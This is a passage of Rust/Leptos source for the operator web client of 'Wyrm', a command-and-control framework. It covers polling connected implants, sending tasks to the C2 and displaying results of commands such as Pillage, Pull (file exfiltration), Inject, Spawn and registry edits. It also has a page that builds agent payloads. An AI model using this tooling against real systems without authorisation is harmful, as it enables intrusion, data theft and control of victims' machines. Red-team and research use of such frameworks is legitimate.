crate::controller::{ get_item_from_browser_store, store_item_in_browser_store, wyrm_chat_history_browser_key, }; use crate::models::dashboard::{ Agent, AgentC2MemoryNotifications, NotificationForAgent, TabConsoleMessages, }; /// Updates the local representation of agents that are connected to the C2. As this is a client only app /// and not a SSR app, it is slightly more messy - we poll the update from the server; store temporarily in the /// browser store (to persist between refreshes and navigation), and display to the user. pub fn update_connected_agents( set_connected_agents: RwSignal>>, polled_agents: Vec, ) { // Split out the incoming agents in the poll and do a manual deserialisation based on the presence of // \t chars which was sent as the connection string. let parsed: Vec<_> = polled_agents .into_iter() .map(|(agent, is_stale, new_messages)| { let split: Vec<&str> = agent.split('\t').collect(); let uid = split[1].to_string(); let last_seen = DateTime::from_str(split[3]).unwrap(); let pid = split[4].parse().unwrap(); let process_image = split[5].to_string(); (uid, last_seen, pid, process_image, is_stale, new_messages) }) .collect(); let new_uids: HashSet<_> = parsed.iter().map(|(uid, ..)| uid.clone()).collect(); set_connected_agents.try_update(|map| { map.retain(|uid, _| new_uids.contains(uid)); }); // // Ensure all UIDs exist in the map (but don't touch messages yet) // set_connected_agents.try_update(|agents| { for (uid, last_seen, pid, process_image, is_stale, _) in &parsed { agents.entry(uid.clone()).or_insert_with(|| { RwSignal::new(Agent::from( uid.clone(), *last_seen, *pid, process_image.clone(), *is_stale, )) }); } }); // // Now merge fields & messages using the known goods // let agent_map_snapshot = set_connected_agents.get(); for (uid, last_seen, pid, process_image, is_stale, new_messages) in parsed { let Some(agent_sig) = agent_map_snapshot.get(&uid).cloned() else { continue; }; agent_sig.update(|agent| { // Basic fields agent.last_check_in = last_seen; agent.pid = pid; agent.is_stale = is_stale; agent.process_name = process_image.clone(); // Hydrate from store; merge in any messages we don't yet have. if let Ok(stored) = get_item_from_browser_store::>( &wyrm_chat_history_browser_key(&uid), ) { if agent.output_messages.is_empty() { agent.output_messages = stored; } else { let mut seen: HashSet = agent.output_messages.iter().map(|m| m.completed_id).collect(); for msg in stored { if seen.insert(msg.completed_id) { agent.output_messages.push(msg); } } } } // Merge new messages if let Some(raw) = new_messages { match serde_json::from_value::>(raw) { Ok(msgs) if !msgs.is_empty() => { let new_msgs: Vec<_> = msgs.into_iter().map(TabConsoleMessages::from).collect(); agent.output_messages.extend(new_msgs); let _ = store_item_in_browser_store( &wyrm_chat_history_browser_key(&uid), &agent.output_messages, ); } Ok(_) => { leptos::logging::log!("Parsed empty new_messages vec for {uid}"); } Err(e) => { leptos::logging::error!("Failed to parse new_messages for {uid}: {e}"); } } } }); } } ================================================ FILE: client/src/controller/mod.rs ================================================ use anyhow::bail; use leptos::prelude::{document, window}; use serde::{Serialize, de::DeserializeOwned}; use web_sys::HtmlElement; use crate::net::admin_health_check; pub mod build_profiles; pub mod dashboard; pub enum BodyClass { Login, App, } /// Returns the browser storage key for a user's chat history. pub fn wyrm_chat_history_browser_key(uid: &str) -> String { format!("WYRM_C2_HISTORY_{}", uid) } /// Switches the document body's CSS class between login and app states. /// /// Ensures only one of the two exclusive classes (`login` or `app`) is applied to the body /// element at any time, enabling distinct styling for different application states. pub fn apply_body_class(target: BodyClass) { let body: HtmlElement = document().body().expect("no "); match target { BodyClass::Login => { let _ = body.class_list().remove_1("app"); let _ = body.class_list().add_1("login"); } BodyClass::App => { let _ = body.class_list().remove_1("login"); let _ = body.class_list().add_1("app"); } } } pub async fn is_logged_in() -> bool { admin_health_check().await } /// Retrieves the saved C2 URL entered by the operator as a `String` if located pub fn get_item_from_browser_store(key: &str) -> anyhow::Result where T: DeserializeOwned, { let x = window() .local_storage() .ok() .flatten() .and_then(|s| s.get_item(key).ok()) .unwrap_or_default(); if let Some(x_inner) = x { // Inner is stored as a JSON serialised String return Ok(serde_json::from_str(&x_inner)?); } bail!("Could not find key: {key}") } /// Serialises and stores an item in the browser's local storage. /// /// # Error /// Returns an error if JSON serialisation fails. pub fn store_item_in_browser_store(key: &str, item: &T) -> anyhow::Result<()> { let ser = serde_json::to_string(item)?; let _ = window() .local_storage() .ok() .flatten() .and_then(|storage| storage.set_item(key, &ser).ok()); Ok(()) } /// Removes an item from the browser's local storage. /// /// Silently handles cases where local storage is unavailable or the deletion fails, /// logging errors for debugging purposes. pub fn delete_item_in_browser_store(key: &str) { let _: Option<()> = window().local_storage().ok().flatten().and_then(|s| { if let Err(e) = s.remove_item(key) { leptos::logging::log!("Error deleting chat: {e:?}"); } None }); } ================================================ FILE: client/src/main.rs ================================================ use leptos::prelude::*; use leptos_meta::{Meta, Title, provide_meta_context}; use leptos_router::{components::*, path}; use crate::pages::{ build_profiles::BuildProfilesPage, dashboard::Dashboard, file_upload::FileUploadPage, login::Login, logout::Logout, staged_resources::StagedResourcesPage, }; mod controller; mod models; mod net; mod pages; mod tasks; fn main() { _ = console_log::init_with_level(log::Level::Debug); console_error_panic_hook::set_once(); leptos::mount::mount_to_body(App) } #[component] fn App() -> impl IntoView { provide_meta_context(); view! { <Meta charset="UTF-8" /> <Meta name="viewport" content="width=device-width, initial-scale=1.0" /> <Router> <Routes fallback=|| view! { NotFound }> <Route path=path!("/") view=Login /> <Route path=path!("/logout") view=Logout /> <Route path=path!("/dashboard") view=Dashboard /> <Route path=path!("/build_profiles") view=BuildProfilesPage /> <Route path=path!("/file_upload") view=FileUploadPage /> <Route path=path!("/staged_resources") view=StagedResourcesPage /> </Routes> </Router> } } ================================================ FILE: client/src/models/dashboard.rs ================================================ use std::{ collections::{HashMap, HashSet}, path::{Path, PathBuf}, }; use chrono::{DateTime, Utc}; use leptos::prelude::RwSignal; use serde::{Deserialize, Serialize}; use serde_json::Value; use shared::{ stomped_structs::{Process, RegQueryResult}, tasks::{Command, PowershellOutput, WyrmResult}, }; use crate::{ controller::{ delete_item_in_browser_store, get_item_from_browser_store, store_item_in_browser_store, wyrm_chat_history_browser_key, }, models::TAB_STORAGE_KEY, }; /// A representation of in memory agents on the C2, being a tuple of: /// - `String`: Agent display representation /// - `bool`: Is stale /// - `Option<Value>`: Any new notifications pub type AgentC2MemoryNotifications = (String, bool, Option<Value>); /// A local client representation of an agent with a definition not shared across the /// `Wyrm` ecosystem. #[derive(Debug, Clone, Default)] pub struct Agent { pub agent_id: String, pub last_check_in: DateTime<Utc>, pub pid: u32, pub process_name: String, // TODO // pub notification_status: NotificationStatus, pub is_stale: bool, /// Messages to be shown in the message box in the GUI pub output_messages: Vec<TabConsoleMessages>, } impl Agent { pub fn from( agent_id: String, last_check_in: DateTime<Utc>, pid: u32, process_name: String, is_stale: bool, ) -> Self { Self { agent_id, // notification_status: NotificationStatus::None, last_check_in, pid, process_name, is_stale, ..Default::default() } } pub fn from_messages( messages: Vec<NotificationForAgent>, agent_id: String, last_check_in: DateTime<Utc>, pid: u32, process_name: String, is_stale: bool, ) -> Self { let mut agent = Self::from(agent_id, last_check_in, pid, process_name, is_stale); let mut new_messages = vec![]; for msg in messages { new_messages.push(TabConsoleMessages::from(msg)); } agent.output_messages.append(&mut new_messages); agent } } #[derive(Debug, Clone, Default, PartialEq, Eq, Hash, serde::Serialize, serde::Deserialize)] pub struct TabConsoleMessages { pub completed_id: i32, pub event: String, pub time: String, pub messages: Vec<String>, } impl TabConsoleMessages { /// Creates a new `TabConsoleMessages` event where the result isn't something that has come about from interacting /// with an agent. /// /// This could be used for commands which just require some form of response back to the user, from the C2 or locally /// within the client itself. pub fn non_agent_message(event: String, message: String) -> Self { Self { completed_id: 0, event, time: "-".into(), messages: vec![message], } } } /// A representation of the database information pertaining to agent notifications which have not /// yet been pulled by the operator. #[derive(Debug, Serialize, Deserialize)] pub struct NotificationForAgent { pub completed_id: i32, pub task_id: i32, pub command_id: i32, pub agent_id: String, pub result: Option<String>, pub time_completed_ms: i64, } impl From<NotificationForAgent> for TabConsoleMessages { fn from(notification_data: NotificationForAgent) -> Self { let cmd = Command::from_u32(notification_data.command_id as _); let cmd_string = command_to_string(&cmd); let result = notification_data.format_console_output(); let time_seconds = if notification_data.time_completed_ms == 0 { let now = Utc::now(); now.timestamp() } else { notification_data.time_completed_ms }; // I am happy with the unwrap here, and I would prefer it over a default or half working product; if we make a change // to how time is represented then this will crash the client - forcing a bug fix. In any case, this should not be a real problem let time_utc_str = DateTime::from_timestamp(time_seconds, 0) .unwrap() .format("%d/%m/%Y %H:%M:%S") .to_string(); Self { completed_id: notification_data.completed_id, event: cmd_string, time: time_utc_str, messages: result, } } } /// Converts a [`Command`] to a `String` fn command_to_string(cmd: &Command) -> String { let c = match cmd { Command::Sleep => "Sleep", Command::Ps => "ListProcesses", Command::GetUsername => "GetUsername", Command::Pillage => "Pillage", Command::UpdateSleepTime => "UpdateSleepTime", Command::Pwd => "Pwd", Command::AgentsFirstSessionBeacon => "AgentsFirstSessionBeacon", Command::Cd => "Cd", Command::KillAgent => "KillAgent", Command::Ls => "Ls", Command::Run => "Run", Command::KillProcess => "KillProcess", Command::Drop => "Drop", Command::Undefined => "Undefined", Command::Copy => "Copy", Command::Move => "Move", Command::Pull => "Pull", Command::RegQuery => "reg query", Command::RegAdd => "reg add", Command::RegDelete => "reg del", Command::RmFile => "RmFile", Command::RmDir => "RmDir", Command::DotEx => "DotEx", Command::ConsoleMessages => "Agent console messages", Command::WhoAmI => "whoami", Command::Spawn => "Spawn", Command::StaticWof => "Static WOF", Command::Inject => "Inject", }; c.into() } pub trait FormatOutput { fn format_console_output(&self) -> Vec<String>; } impl FormatOutput for NotificationForAgent { fn format_console_output(&self) -> Vec<String> { match Command::from_u32(self.command_id as _) { Command::Sleep => { return vec!["Agent received task to adjust sleep time.".into()]; } Command::Ps => { let listings_serialised = match self.result.as_ref() { Some(inner) => inner, None => { return vec![format!("No data returned from ps command.")]; } }; let deser: Option<Vec<Process>> = serde_json::from_str(listings_serialised).unwrap(); if deser.is_none() { return vec![format!("Process listings empty.")]; } let mut builder = vec![]; const PID_W: usize = 10; const PPID_W: usize = 10; const NAME_W: usize = 40; const USER_W: usize = 16; let pid = "PID:"; let ppid = "PPID:"; let name = "Name:"; let user = "User:"; let f = format!( "{:<PID_W$}{:<PPID_W$}{:<NAME_W$}{:<USER_W$}", pid, ppid, name, user ); builder.push(f); for row in deser.unwrap() { let f = format!( "{:<PID_W$}{:<PPID_W$}{:<NAME_W$}{:<USER_W$}", row.pid, row.ppid, row.name, row.user ); builder.push(f); } return builder; } Command::GetUsername => (), Command::Pillage => { let result = match self.result.as_ref() { Some(r) => r, None => { return vec!["No data.".into()]; } }; let deser: Vec<String> = match serde_json::from_str(result) { Ok(d) => d, Err(e) => { return vec![format!("Failed to deserialise results {e}.")]; } }; return deser; } Command::UpdateSleepTime => (), Command::Undefined => { return vec!["Congrats, you found a bug. This should never print.".into()]; } Command::Pwd => { let result = match self.result.as_ref() { Some(r) => r, None => { return vec!["An error occurred with the data from pwd.".into()]; } }; let s: String = match serde_json::from_str(result) { Ok(s) => s, Err(e) => format!( "An error occurred whilst trying to unwrap. {e}. Data: {}", result ), }; return vec![format!("{s}")]; } Command::AgentsFirstSessionBeacon => (), Command::Cd => { let result = match self.result.as_ref() { Some(r) => r, None => { return vec![format!("No data.")]; } }; let deser: WyrmResult<PathBuf> = match serde_json::from_str(result) { Ok(d) => d, Err(e) => { return vec![print_client_error(&format!( "Ensure your request was properly formatted: {e}" ))]; } }; match deser { WyrmResult::Ok(result) => return vec![result.as_path().try_strip_prefix()], WyrmResult::Err(e) => return vec![print_client_error(&e)], } } Command::KillAgent => (), Command::Ls => { let listings_serialised = match self.result.as_ref() { Some(inner) => inner, None => { return vec![format!("No data returned from ls command.")]; } }; let deser: Option<Vec<PathBuf>> = serde_json::from_str(listings_serialised).unwrap(); if deser.is_none() { return vec![format!("Directory listings empty.")]; } let mut builder = vec![]; for row in deser.unwrap() { builder.push(row.as_path().try_strip_prefix()); } return builder; } Command::Run => { let powershell_output: PowershellOutput = match &self.result { Some(result) => match serde_json::from_str(result) { Ok(result) => result, Err(e) => { return vec![format!("Could not deser PowershellOutput result. {e}")]; } }, None => { return vec!["No output returned from PowerShell command.".into()]; } }; if let Some(out) = powershell_output.stderr && !out.is_empty() { return vec![format!("stderr: {out}")]; } if let Some(out) = powershell_output.stdout && !out.is_empty() { return vec![format!("stdout: {out}")]; } } Command::KillProcess => match &self.result { Some(s) => { let result: WyrmResult<String> = match serde_json::from_str(s) { Ok(r) => r, Err(e) => { return vec![format!( "Could not serialise result for KillProcess. {e}." )]; } }; match result { WyrmResult::Ok(s) => { return vec![format!("Successfully killed process ID {s}.")]; } WyrmResult::Err(e) => { return vec![format!( "An error occurred whilst trying to kill a process. {e}" )]; } } } None => { return vec![ "An unknown error occurred whilst trying to kill a process.".into(), ]; } }, Command::Drop => match &self.result { Some(s) => { let result: WyrmResult<String> = match serde_json::from_str(s) { Ok(r) => r, Err(e) => { return vec![format!("Could not serialise result. {e}.")]; } }; if let WyrmResult::Err(e) = result { return vec![format!( "An error occurred whilst trying to drop a file. {e}" )]; } return vec![format!("File dropped successfully.")]; } None => { return vec!["An unknown error occurred whilst trying to drop a file.".into()]; } }, Command::Copy => { // // In the result we get back from the agent, Some("null") is representative of the success. // If `Some` != "null", contains a `WyrmError` that we can print. // if let Some(inner) = &self.result { if inner == "null" { return vec!["File copied.".into()]; } if let Ok(e) = serde_json::from_str::<WyrmResult<String>>(inner) { return vec![format!("An error occurred copying the file: {:?}", e)]; } } return vec!["File copied".into()]; } Command::Move => { // // In the result we get back from the agent, Some("null") is representative of the success. // If `Some` != "null", contains a `WyrmError` that we can print. // if let Some(inner) = &self.result { if inner == "null" { return vec!["File moved.".into()]; } if let Ok(e) = serde_json::from_str::<WyrmResult<String>>(inner) { return vec![format!("An error occurred moving the file: {:?}", e)]; } } return vec!["File moved".into()]; } Command::Pull => { if let Some(response) = &self.result { if let Ok(msg) = serde_json::from_str::<String>(response) { // If we had an error message from the implant return vec![format!("Implant suffered error executing Pull. {msg}")]; } else { return vec!["Unknown error.".into()]; } } return vec!["File exfiltrated successfully and can be found on the C2.".into()]; } Command::RegQuery => { if let Some(response) = &self.result { match RegQueryResult::try_from(response.as_str()) { Ok(r) => return r.client_print_formatted(), Err(e) => return e, } } else { return vec!["No data.".to_string()]; } } Command::RegAdd => { if let Some(response) = &self.result { return print_wyrm_result_string(response); } else { return vec![format!("Unknown error. Got: {:#?}", self.result)]; } } Command::RegDelete => { if let Some(response) = &self.result { return print_wyrm_result_string(response); } else { return vec![format!("Unknown error. Got: {:#?}", self.result)]; } } Command::RmFile => { if let Some(response) = &self.result { return print_wyrm_result_string(response); } else { return vec![format!("Unknown error. Got: {:#?}", self.result)]; } } Command::RmDir => { if let Some(response) = &self.result { return print_wyrm_result_string(response); } else { return vec![format!("Unknown error. Got: {:#?}", self.result)]; } } Command::DotEx => { if let Some(response) = &self.result { let deser = match serde_json::from_str::<WyrmResult<String>>(response) { Ok(i) => i, Err(e) => { return vec![format!( "Could not deserialise response, {e}. Got raw: {response:?}" )]; } }; match deser { WyrmResult::Ok(msg) => { return vec![msg]; } WyrmResult::Err(e) => { return vec![format!("Error whilst trying to execute dotex: {e}")]; } } } else { return vec!["No data.".to_owned()]; } } Command::ConsoleMessages => { if let Some(ser) = &self.result { let deser = serde_json::from_str::<Vec<u8>>(&ser).unwrap(); let s = String::from_utf8_lossy(&deser); return vec![s.to_string()]; } } Command::WhoAmI => { if let Some(msg) = &self.result { let s = serde_json::from_str::<WyrmResult<String>>(msg).unwrap(); match s { WyrmResult::Ok(s) => return vec![s], WyrmResult::Err(e) => return vec![format!("Error: {e}")], } } else { return vec!["An error occurred. See console output.".to_string()]; } } Command::Spawn => { if let Some(msg) = &self.result { let s = serde_json::from_str::<WyrmResult<String>>(msg).unwrap(); match s { WyrmResult::Ok(s) => return vec![s], WyrmResult::Err(e) => return vec![format!("Error: {e}")], } } else { return vec!["An error occurred. See console output.".to_string()]; } } Command::StaticWof => { if let Some(msg) = &self.result { let s = serde_json::from_str::<WyrmResult<String>>(msg).unwrap(); match s { WyrmResult::Ok(s) => return vec![s], WyrmResult::Err(e) => return vec![format!("Error: {e}")], } } else { return vec!["An error occurred.".to_string()]; } } Command::Inject => { if let Some(msg) = &self.result { let s = serde_json::from_str::<WyrmResult<String>>(msg).unwrap(); match s { WyrmResult::Ok(s) => return vec![s], WyrmResult::Err(e) => return vec![format!("Error: {e}")], } } else { return vec!["An error occurred.".to_string()]; } } } // // The fallthrough // match self.result.as_ref() { Some(result) => { vec![format!( "[DISPLAY ERROR] Did not match / parse correctly. {result:?}" )] } None => { vec![format!("Action completed with no data to present.")] } } } } fn print_client_error(msg: &str) -> String { format!("Error: {msg}") } trait StripCannon { fn try_strip_prefix(&self) -> String; } impl StripCannon for Path { /// Where a path has been canonicalised, try strip the Windows \\?\ prefix for pretty /// printing. // // If this function fails, it will return the original path as a `String` fn try_strip_prefix(&self) -> String { let s = self.to_string_lossy().into_owned(); if s.starts_with(r"\\?\") { let stripped = s.strip_prefix(r"\\?\").unwrap_or(&s); stripped.into() } else { s.into() } } } /// A helper function to print values when it is just a WyrmResult<String> fn print_wyrm_result_string(encoded_data: &String) -> Vec<String> { match serde_json::from_str::<WyrmResult<String>>(encoded_data) { Ok(wyrm_result) => match wyrm_result { WyrmResult::Ok(d) => vec![d], WyrmResult::Err(e) => vec![format!("An error occurred: {e}")], }, Err(e) => { vec![format!( "Could not deserialise response: {e}. Got: {encoded_data:#?}" )] } } } /// Tracks the set of open tabs and which tab is currently active. /// /// Used to maintain tab state in the UI, where `tabs` contains all open tab identifiers /// and `active_id` points to the currently selected tab (if any). #[derive(Serialize, Deserialize, Default, Debug)] pub struct ActiveTabs { pub tabs: HashSet<String>, pub active_id: Option<String>, } impl ActiveTabs { /// Instantiates a new [`ActiveTabs`] from the store. If it did not exist, a new [`ActiveTabs`] will be /// created. pub fn from_store() -> Self { get_item_from_browser_store(TAB_STORAGE_KEY).unwrap_or_default() } /// Writes the current tab layout to the browser store pub fn save_to_store(&self) -> anyhow::Result<()> { store_item_in_browser_store(TAB_STORAGE_KEY, self)?; Ok(()) } /// Adds a tab to the tracked tabs, doing nothing if the value already exists pub fn add_tab(&mut self, name: &str) { let name = name.to_string(); let _ = self.tabs.insert(name.clone()); self.active_id = Some(name.clone()); let _ = self.save_to_store(); } /// Removes a tab to the tracked tabs, doing nothing if the value did not exists pub fn remove_tab(&mut self, name: &str) { self.active_id = None; let _ = self.tabs.remove(name); let key = wyrm_chat_history_browser_key(name); delete_item_in_browser_store(&key); let _ = self.save_to_store(); } } /// Information we wish to pull out of the agent ID, which has the format /// `hostname|serial|username|integrity|pid|epoch`. This information is used by /// the DB to uniquely identify each agent. pub enum AgentIdSplit { Hostname, Integrity, Username, } /// Get a `String` of the component from a custom deserialisation of the Agent's ID string. pub fn get_info_from_agent_id<'a>(haystack: &'a str, needle: AgentIdSplit) -> Option<&'a str> { let parts: Vec<&str> = haystack.split('|').collect(); // How many variants the enum `AgentIdSplit` has, to make sure we are dealing with good data. const MAX_VARIANTS: usize = 3; if parts.len() < MAX_VARIANTS { return None; } // WARNING: This is highly dependant on the Agent ID not changing positional chars. If bugs appear, // its almost certain because the ordering of delimited args are in the str. let extracted_slice = match needle { AgentIdSplit::Hostname => parts[0], AgentIdSplit::Integrity => parts[3], AgentIdSplit::Username => parts[2], }; Some(extracted_slice) } pub fn get_agent_tab_name(haystack: &str) -> Option<String> { let parts: Vec<&str> = haystack.split('|').collect(); // We want to make sure we have enough parts collected const MAX_VARIANTS: usize = 5; if parts.len() < MAX_VARIANTS { return None; } Some(format!( "{username}@{hostname} [{integrity}] - {pid}", integrity = parts[3], username = parts[2], hostname = parts[0], pid = parts[4], )) } pub fn resolve_tab_to_agent_id( tab: &str, agent_map: &HashMap<String, RwSignal<Agent>>, ) -> Option<String> { if agent_map.contains_key(tab) { return Some(tab.to_string()); } agent_map .keys() .find(|id| get_agent_tab_name(id).as_deref() == Some(tab)) .cloned() } ================================================ FILE: client/src/models/mod.rs ================================================ use serde::Serialize; pub mod dashboard; #[derive(Serialize, Clone, Debug, Default)] pub struct LoginData { pub c2_addr: String, pub username: String, pub password: String, } pub const C2_STORAGE_KEY: &str = "WYRM_C2_ADDR"; pub const TAB_STORAGE_KEY: &str = "WYRM_C2_TABS"; ================================================ FILE: client/src/net.rs ================================================ use gloo_net::http::{Request, Response}; use leptos::prelude::window; use serde_json::Value; use shared::{ net::{ADMIN_ENDPOINT, ADMIN_HEALTH_CHECK_ENDPOINT, ADMIN_LOGIN_ENDPOINT, AdminLoginPacket}, tasks::{AdminCommand, BaBData}, }; use thiserror::Error; use web_sys::RequestCredentials; use crate::{controller::get_item_from_browser_store, models::C2_STORAGE_KEY}; #[derive(Debug, PartialEq, Eq, Clone)] pub enum IsTaskingAgent { Yes(String), No, } #[derive(Debug, Error)] pub enum IsTaskingAgentErr { #[error("No ID found on IsTaskingAgent")] NoId, } impl IsTaskingAgent { pub fn has_agent_id(&self) -> Result<(), IsTaskingAgentErr> { if let IsTaskingAgent::Yes(_) = self { return Ok(()); } Err(IsTaskingAgentErr::NoId) } } pub enum C2Url { /// Will be obtained from the key `C2_STORAGE_KEY` Standard, /// Whatever is in the inner will be used as the C2 URL Custom(String), } impl C2Url { /// Retrieve the C2 url depending upon the type. The [`C2Url::Standard`] will be pulled from the browser /// store at the key `C2_STORAGE_KEY`. /// /// In the case of [`C2Url::Standard`], the inner `String` will be retrieved. fn get(&self) -> anyhow::Result<String> { match self { C2Url::Standard => { // Get from browser store get_item_from_browser_store::<String>(C2_STORAGE_KEY) } C2Url::Custom(url) => Ok(url.clone()), } } } /// Makes an API request to the C2 via REST & CORS. /// /// # Args /// - `command`: The [`AdminCommand`] to dispatch on the C2. /// - `is_tasking_agent`: Whether an exact agent is being tasked, or the command is generic. /// - `creds`: A tuple [`Option`] containing (`username`, `password`) if logging in. /// - `c2_url`: The URL of the C2 to connect to /// - `custom_uri`: Whether a custom URI is supplied, as an [`Option`] /// /// # Returns /// - `Ok`: A Vec of bytes from the C2 /// - `Err` an [`ApiError`] containing the error kind and information. pub async fn api_request( command: AdminCommand, is_tasking_agent: &IsTaskingAgent, creds: Option<(String, String)>, c2_url: C2Url, custom_uri: Option<&str>, ) -> Result<Vec<u8>, ApiError> { // Remove any leading '/' as we want to format correctly in the below builder let custom_uri = if let Some(u) = custom_uri { let u = match u.strip_prefix("/") { Some(s) => s, None => u, }; Some(u) } else { None }; let c2_url: String = construct_c2_url(c2_url, &command, custom_uri, is_tasking_agent); // // Send the HTTP request to the C2 // let post_body_data = prepare_body_data(command, creds); let resp = make_post(&c2_url, post_body_data).await?; // Note, all admin commands return ACCEPTED (status 202) on successful authentication / completion // not the anticipated 200 OK. Dont recall why I went that route, but here we are :) if resp.status() != 202 { return Err(ApiError::BadStatus( resp.status(), resp.text().await.unwrap(), )); } let bytes = resp.binary().await?; Ok(bytes.to_vec()) } /// Prepare the POST request body data by serialising the input to an expected JSON value which /// the C2 will expect. /// /// For some C2 API's, the JSON body is expected to be of a certain type, so this ensures we sent the correct /// type to the C2. If no such exact type is required (e.g. the data is included in the [`AdminCommand`]) then it will /// just prepare that as-is without converting to another expected type. /// /// # Returns /// The function returns a [`serde_json::Value`] of the body data. fn prepare_body_data(input: AdminCommand, creds: Option<(String, String)>) -> Value { match input { AdminCommand::Login => serde_json::to_value(AdminLoginPacket { username: creds.clone().unwrap().0, password: creds.unwrap().1.clone(), }) .unwrap(), AdminCommand::BuildAllBins(data) => { serde_json::to_value(BaBData::from(data.clone())).unwrap() } _ => serde_json::to_value(input).unwrap(), } } async fn make_post(c2_url: &str, body: Value) -> Result<Response, ApiError> { let r = Request::post(c2_url) .credentials(RequestCredentials::Include) .json(&body)? .send() .await?; Ok(r) } fn construct_c2_url( c2_url: C2Url, command: &AdminCommand, custom_uri: Option<&str>, is_tasking_agent: &IsTaskingAgent, ) -> String { // Extrapolate the C2 url from the input enum let c2_url = c2_url.get().expect("could not get C2 url"); // // If its a login command, we need to explicitly handle building that URI. If the command // was not login, then deal with inputting the UID of the implant being tasked, otherwise, it // can be constructed without. // // This allows for the format url.com/api_endpoint/agent_uid on the C2 to handle those paths. // let s = match command { AdminCommand::Login => { format!("{}/{}", c2_url, custom_uri.unwrap_or(ADMIN_LOGIN_ENDPOINT)) } _ => "".into(), }; if !s.is_empty() { // For the login URL, return this out as the C2 url s } else { match is_tasking_agent { IsTaskingAgent::Yes(uid) => format!( "{}/{}/{}", c2_url, custom_uri.unwrap_or(ADMIN_ENDPOINT), uid ), IsTaskingAgent::No => { format!("{}/{}", c2_url, custom_uri.unwrap_or(ADMIN_ENDPOINT)) } } } } #[derive(Error, Debug)] pub enum ApiError { #[error("HTTP error {0}.")] Reqwest(#[from] gloo_net::Error), #[error("Server returned status {0}. {1}")] BadStatus(u16, String), } /// Checks whether the user is logged in with a valid session, returning true if they are. pub async fn admin_health_check() -> bool { let mut c2_url = match window() .local_storage() .ok() .flatten() .and_then(|s| s.get_item(C2_STORAGE_KEY).ok()) .unwrap_or_default() { Some(url) => { // Because of serde_json we need to remove " from the stored value url.replace("\"", "") } None => return false, }; c2_url.push_str(ADMIN_HEALTH_CHECK_ENDPOINT); match Request::get(&c2_url) .credentials(RequestCredentials::Include) .send() .await { Ok(resp) => resp.status() == 200, Err(e) => panic!("Could not make request when making logged in check. {e}"), } } ================================================ FILE: client/src/pages/build_profiles.rs ================================================ use leptos::{component, prelude::*}; use shared::tasks::AdminCommand; use crate::{ controller::build_profiles::trigger_download, net::{C2Url, IsTaskingAgent, api_request}, pages::logged_in_headers::LoggedInHeaders, }; #[component] pub fn BuildProfilesPage() -> impl IntoView { let form_data = RwSignal::new(String::new()); let submitting = RwSignal::new(false); let submit_page = Action::new_local(|input: &String| { let input = input.clone(); async move { // Cleanse the input let profile_name = input.trim().to_string(); let result = api_request( AdminCommand::BuildAllBins(profile_name.clone()), &IsTaskingAgent::No, None, C2Url::Standard, Some("admin_bab"), ) .await; result.map(|bytes| (profile_name, bytes)) } }); let page_response = submit_page.value(); Effect::new(move |_| { page_response.with(|inner| { if let Some(res) = inner { submitting.set(false); match res { Ok((profile_name, bytes)) => { if !bytes.is_empty() { let filename = format!("{profile_name}.7z"); trigger_download(&filename, bytes); } else { leptos::logging::log!("Response was empty."); } } Err(e) => { leptos::logging::error!("Error parsing result: {e}"); } } } }) }); view! { <LoggedInHeaders /> <div id="file-upload-container" class="container-fluid py-4 app-page"> <div class="row mb-4"> <div class="col-12 text-center"> <h2 class="mb-2 fw-bold">Build all agents</h2> <p> "Type the name of the profile you wish to build from (do not include the "<code>".toml"</code>")." "For example, to build from the default profile, type "<code>"default"</code>"." </p> <p>This builder will serve you the generated payloads as a 7zip archive for which you can do with as you please. It is recommended after using this, you use the upload function to stage a payload on the C2. </p> </div> </div> <div class="row justify-content-center"> <div class="col-md-7 col-lg-6"> <form on:submit=move |ev| { ev.prevent_default(); // dont reload submitting.set(true); submit_page.dispatch(form_data.get()); } id="stage-all-form" autocomplete="off" class="border rounded-3 p-4 shadow-sm"> <div class="mb-3"> <label for="profile_name" class="form-label fw-semibold">Profile name</label> <input type="text" class="form-control" name="profile_name" id="profile_name" placeholder="Profile name" bind:value=form_data required /> <div class="form-text">The profile name <strong> should not include the toml extension</strong>, and it should be present under <code>c2/profiles/</code>.</div> </div> <button type="submit" class="btn btn-primary w-100 py-2 fw-bold" disabled=move || submitting.get()> {move || if submitting.get() { "Building..." } else { "Build" }} </button> <div class="form-text"> Please do not refresh or navigate away from the page. The builder will return you a 7zip archive containing the agent binaries. Note: This may take some time, and unless you get an error message - <strong>please wait and allow it to serve you the files</strong>. </div> </form> <div id="response-box" class="mt-3"></div> </div> </div> </div> } } ================================================ FILE: client/src/pages/dashboard.rs ================================================ use std::{ collections::{HashMap, HashSet}, time::Duration, }; use chrono::Utc; use gloo_timers::future::sleep; use leptos::{IntoView, component, html, prelude::*, reactive::spawn_local, view}; use shared::tasks::AdminCommand; use crate::{ controller::{ dashboard::update_connected_agents, get_item_from_browser_store, wyrm_chat_history_browser_key, }, models::dashboard::{ ActiveTabs, Agent, AgentC2MemoryNotifications, AgentIdSplit, TabConsoleMessages, get_agent_tab_name, get_info_from_agent_id, resolve_tab_to_agent_id, }, net::{C2Url, IsTaskingAgent, api_request}, pages::logged_in_headers::LoggedInHeaders, tasks::task_dispatch::dispatch_task, }; #[component] pub fn Dashboard() -> impl IntoView { // // Set up signals across the dashboard // let connected_agents: RwSignal<HashMap<String, RwSignal<Agent>>> = RwSignal::new(HashMap::<String, RwSignal<Agent>>::new()); provide_context(connected_agents); let tabs = RwSignal::new(ActiveTabs::from_store()); // Providing this as context so we can grab it in the task dispatcher routines dynamically as required provide_context(tabs); view! { // There's got to be a better way of doing this repeating it everywhere, but I cannot find it <LoggedInHeaders /> <ConnectedAgents tabs /> <MiddleTabBar /> <MessagePanel /> } } #[component] fn ConnectedAgents(tabs: RwSignal<ActiveTabs>) -> impl IntoView { let connected_agents: RwSignal<HashMap<String, RwSignal<Agent>>> = use_context().expect("could not get RwSig connected_agents"); // // Deal with the API request for connected agents // Effect::new(move || { spawn_local(async move { loop { // If server-side health check shows we are logged out, stop polling. // if !crate::controller::is_logged_in().await { // break; // } let result = match api_request( AdminCommand::ListAgents, &IsTaskingAgent::No, None, C2Url::Standard, None, ) .await { Ok(r) => r, Err(e) => { leptos::logging::log!("Could not make request for ListAgents. {e}"); sleep(Duration::from_secs(1)).await; continue; } }; let deser_agents: Vec<AgentC2MemoryNotifications> = match serde_json::from_slice(&result) { Ok(r) => r, Err(e) => { leptos::logging::log!("Could not deserialise ListAgents. {e}"); sleep(Duration::from_secs(1)).await; continue; } }; update_connected_agents(connected_agents, deser_agents); sleep(Duration::from_secs(1)).await; } }); }); let agent_map = 